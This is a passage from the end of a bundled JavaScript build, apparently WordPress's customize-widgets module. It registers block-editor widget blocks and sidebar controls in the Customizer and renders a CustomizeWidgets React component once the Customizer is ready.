2423 (0, import_block_library2.__experimentalRegisterExperimentalCoreBlocks)({
2424 enableFSEBlocks: ENABLE_EXPERIMENTAL_FSE_BLOCKS
2425 });
2426 }
2427 (0, import_widgets5.registerLegacyWidgetVariations)(blockEditorSettings);
2428 (0, import_widgets5.registerWidgetGroupBlock)();
2429 (0, import_blocks2.setFreeformContentHandlerName)("core/html");
2430 const SidebarControl = getSidebarControl(blockEditorSettings);
2431 wp3.customize.sectionConstructor.sidebar = getSidebarSection();
2432 wp3.customize.controlConstructor.sidebar_block_editor = SidebarControl;
2433 const container = document.createElement("div");
2434 document.body.appendChild(container);
2435 wp3.customize.bind("ready", () => {
2436 const sidebarControls = [];
2437 wp3.customize.control.each((control) => {
2438 if (control instanceof SidebarControl) {
2439 sidebarControls.push(control);
2440 }
2441 });
2442 (0, import_element17.createRoot)(container).render(
2443 /* @__PURE__ */ (0, import_jsx_runtime24.jsx)(import_element17.StrictMode, { children: /* @__PURE__ */ (0, import_jsx_runtime24.jsx)(
2444 CustomizeWidgets,
2445 {
2446 api: wp3.customize,
2447 sidebarControls,
2448 blockEditorSettings
2449 }
2450 ) })
2451 );
2452 });
2453 }
2454 return __toCommonJS(index_exports);
2455})();
2456